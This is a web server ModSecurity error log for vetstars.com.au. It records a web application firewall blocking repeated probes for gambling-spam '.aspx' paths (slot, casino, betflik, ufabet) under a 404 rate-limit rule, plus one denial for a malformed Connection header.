[Sat May 16 09:25:42.731365 2026] [:error] [pid 5602:tid 5618] [client 94.103.87.20:50446] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "agfHltzTTsu77r3UIsn78AAAAQ4"]
[Sat May 16 09:25:46.523360 2026] [:error] [pid 5602:tid 5616] [client 94.103.87.20:50456] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "agfHmtzTTsu77r3UIsn79wAAAQw"]
[Sat May 16 09:25:50.971567 2026] [:error] [pid 5602:tid 5628] [client 94.103.87.20:50470] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "agfHntzTTsu77r3UIsn8BwAAARg"]
[Sat May 16 09:25:54.733814 2026] [:error] [pid 24979:tid 24997] [client 94.103.87.20:50276] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "agfHorvSFUQiwLaOL2pVtwAAANA"]
[Sat May 16 09:25:58.841091 2026] [:error] [pid 5602:tid 5614] [client 94.103.87.20:50280] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "agfHptzTTsu77r3UIsn8FAAAAQo"]
[Sat May 16 09:26:02.836633 2026] [:error] [pid 5602:tid 5617] [client 94.103.87.20:55340] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "agfHqtzTTsu77r3UIsn8JgAAAQ0"]
[Sat May 16 09:26:08.064651 2026] [:error] [pid 24867:tid 24904] [client 94.103.87.20:55356] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agfHsCDgFLCgyKq-zmYCmgAAABc"]
[Sat May 16 09:26:11.977255 2026] [:error] [pid 24869:tid 24922] [client 94.103.87.20:43946] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agfHs-xo3FMprMltYl4aMwAAAE4"]
[Sat May 16 09:26:16.286695 2026] [:error] [pid 24869:tid 24927] [client 94.103.87.20:43956] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "agfHuOxo3FMprMltYl4aNwAAAFM"]
[Sat May 16 09:26:20.111657 2026] [:error] [pid 24869:tid 24911] [client 94.103.87.20:43968] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "agfHvOxo3FMprMltYl4aPAAAAEM"]
[Sat May 16 09:27:10.776448 2026] [:error] [pid 24869:tid 24924] [client 94.103.87.20:47642] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "agfH7uxo3FMprMltYl4aXwAAAFA"]
[Sat May 16 09:27:14.673730 2026] [:error] [pid 24874:tid 24954] [client 94.103.87.20:41044] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "agfH8siii6x3XidYGHG9xQAAAJM"]
[Sat May 16 09:27:19.373767 2026] [:error] [pid 5602:tid 5625] [client 94.103.87.20:41056] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "agfH99zTTsu77r3UIsn8awAAARU"]
[Sat May 16 09:27:23.432515 2026] [:error] [pid 24979:tid 24998] [client 94.103.87.20:51264] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "agfH-7vSFUQiwLaOL2pV_AAAANE"]
[Sat May 16 09:27:27.400039 2026] [:error] [pid 24874:tid 24955] [client 94.103.87.20:51280] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "agfH_8iii6x3XidYGHG9yAAAAJQ"]
[Sat May 16 09:27:31.424210 2026] [:error] [pid 5602:tid 5628] [client 94.103.87.20:51292] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "agfIA9zTTsu77r3UIsn8cgAAARg"]
[Sat May 16 09:27:35.500385 2026] [:error] [pid 24869:tid 24913] [client 94.103.87.20:42810] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "agfIB-xo3FMprMltYl4aYQAAAEU"]
[Sat May 16 09:27:39.215906 2026] [:error] [pid 24979:tid 25003] [client 94.103.87.20:42822] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "agfIC7vSFUQiwLaOL2pWAgAAANY"]
[Sat May 16 09:27:43.027045 2026] [:error] [pid 24874:tid 24949] [client 94.103.87.20:38890] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "agfID8iii6x3XidYGHG9ywAAAI4"]
[Sat May 16 09:27:46.978073 2026] [:error] [pid 5602:tid 5619] [client 94.103.87.20:38898] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "agfIEtzTTsu77r3UIsn8eAAAAQ8"]
[Sat May 16 09:27:51.048945 2026] [:error] [pid 5602:tid 5607] [client 94.103.87.20:38902] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "agfIF9zTTsu77r3UIsn8fgAAAQM"]
[Sat May 16 09:27:55.021817 2026] [:error] [pid 24867:tid 24902] [client 94.103.87.20:35372] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "agfIGyDgFLCgyKq-zmYCuQAAABU"]
[Sat May 16 09:27:59.349876 2026] [:error] [pid 5602:tid 5626] [client 94.103.87.20:35388] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "agfIH9zTTsu77r3UIsn8hwAAARY"]
[Sat May 16 09:28:03.354518 2026] [:error] [pid 24867:tid 24887] [client 94.103.87.20:47556] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "agfIIyDgFLCgyKq-zmYCvgAAAAY"]
[Sat May 16 09:28:47.370520 2026] [:error] [pid 24979:tid 24995] [client 94.103.87.20:47572] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agfIT7vSFUQiwLaOL2pWIwAAAM4"]
[Sat May 16 09:28:51.062945 2026] [:error] [pid 5602:tid 5607] [client 94.103.87.20:37874] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "agfIU9zTTsu77r3UIsn8tAAAAQM"]
[Sat May 16 09:28:55.390893 2026] [:error] [pid 5602:tid 5608] [client 94.103.87.20:60232] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "agfIV9zTTsu77r3UIsn8uAAAAQQ"]
[Sat May 16 09:28:59.470472 2026] [:error] [pid 24867:tid 24889] [client 94.103.87.20:60240] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "agfIWyDgFLCgyKq-zmYCzAAAAAg"]
[Sat May 16 09:29:03.666569 2026] [:error] [pid 24869:tid 24931] [client 94.103.87.20:33244] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "agfIX-xo3FMprMltYl4aoAAAAFc"]
[Sat May 16 09:29:07.540355 2026] [:error] [pid 24869:tid 24911] [client 94.103.87.20:33250] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "agfIY-xo3FMprMltYl4apQAAAEM"]
[Sat May 16 09:29:11.472581 2026] [:error] [pid 24874:tid 24949] [client 94.103.87.20:33252] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "agfIZ8iii6x3XidYGHG95AAAAI4"]
[Sat May 16 09:29:15.674534 2026] [:error] [pid 24979:tid 24993] [client 94.103.87.20:44932] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "agfIa7vSFUQiwLaOL2pWKwAAAMw"]
[Sat May 16 09:29:19.441041 2026] [:error] [pid 24869:tid 24917] [client 94.103.87.20:44934] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "agfIb-xo3FMprMltYl4aqAAAAEk"]
[Sat May 16 09:29:23.668086 2026] [:error] [pid 24869:tid 24923] [client 94.103.87.20:35894] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "agfIc-xo3FMprMltYl4aqgAAAE8"]
[Sat May 16 09:29:27.457160 2026] [:error] [pid 5602:tid 5625] [client 94.103.87.20:35904] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "agfId9zTTsu77r3UIsn85gAAARU"]
[Sat May 16 09:29:31.649382 2026] [:error] [pid 24979:tid 24994] [client 94.103.87.20:35906] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "agfIe7vSFUQiwLaOL2pWMQAAAM0"]
[Sat May 16 09:29:35.578700 2026] [:error] [pid 24979:tid 25002] [client 94.103.87.20:37058] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "agfIf7vSFUQiwLaOL2pWMwAAANU"]
[Sat May 16 09:29:39.227863 2026] [:error] [pid 24874:tid 24944] [client 94.103.87.20:37064] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "agfIg8iii6x3XidYGHG97wAAAIk"]
[Sat May 16 09:29:42.981264 2026] [:error] [pid 24867:tid 24894] [client 94.103.87.20:46466] [client 94.103.87.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "agfIhiDgFLCgyKq-zmYC6gAAAA0"]
[Sat May 16 09:38:50.839494 2026] [:error] [pid 24867:tid 24890] [client 43.166.129.247:55756] [client 43.166.129.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agfKqiDgFLCgyKq-zmYDzwAAAAk"]
[Sat May 16 13:09:19.861834 2026] [:error] [pid 62341:tid 62367] [client 51.75.119.168:33478] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "agf7_6nvQ59ep-XG78iaYwAAApU"]
[Sat May 16 13:09:22.414014 2026] [:error] [pid 62341:tid 62354] [client 51.75.119.168:60638] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "agf8AqnvQ59ep-XG78iaaAAAAog"]
[Sat May 16 13:09:24.885814 2026] [:error] [pid 61361:tid 61369] [client 51.75.119.168:60648] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "agf8BJZojzbt3jGziNkoVQAAAUY"]
[Sat May 16 13:09:27.296140 2026] [:error] [pid 24979:tid 24998] [client 51.75.119.168:60652] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "agf8B7vSFUQiwLaOL2p3vgAAANE"]
[Sat May 16 13:09:29.866561 2026] [:error] [pid 5602:tid 5613] [client 51.75.119.168:33788] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "agf8CdzTTsu77r3UIskZrQAAAQk"]
[Sat May 16 13:09:32.259244 2026] [:error] [pid 61361:tid 61372] [client 51.75.119.168:33796] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "agf8DJZojzbt3jGziNkoWwAAAUk"]
[Sat May 16 13:09:34.503798 2026] [:error] [pid 24867:tid 24905] [client 51.75.119.168:33804] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "agf8DiDgFLCgyKq-zmYPuAAAABg"]
[Sat May 16 13:09:36.807889 2026] [:error] [pid 62210:tid 62221] [client 51.75.119.168:33808] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "agf8EMjHonCA4ORo40G6JwAAAkk"]
[Sat May 16 13:09:39.102599 2026] [:error] [pid 61411:tid 61429] [client 51.75.119.168:54292] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "agf8E2VkiEwGnPL_dvHgTAAAAZA"]
[Sat May 16 13:09:41.495512 2026] [:error] [pid 61411:tid 61427] [client 51.75.119.168:54308] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "agf8FWVkiEwGnPL_dvHgUgAAAY4"]
[Sat May 16 13:09:43.831396 2026] [:error] [pid 62210:tid 62224] [client 51.75.119.168:54322] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "agf8F8jHonCA4ORo40G6LgAAAkw"]
[Sat May 16 13:09:46.272439 2026] [:error] [pid 5602:tid 5614] [client 51.75.119.168:54330] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "agf8GtzTTsu77r3UIskZwwAAAQo"]
[Sat May 16 13:09:48.693000 2026] [:error] [pid 61361:tid 61378] [client 51.75.119.168:56766] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "agf8HJZojzbt3jGziNkoaQAAAU8"]
[Sat May 16 13:09:51.120746 2026] [:error] [pid 24869:tid 24925] [client 51.75.119.168:56772] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "agf8H-xo3FMprMltYl4qIAAAAFE"]
[Sat May 16 13:09:53.500088 2026] [:error] [pid 61411:tid 61437] [client 51.75.119.168:56776] [client 51.75.119.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "agf8IWVkiEwGnPL_dvHgYgAAAZg"]
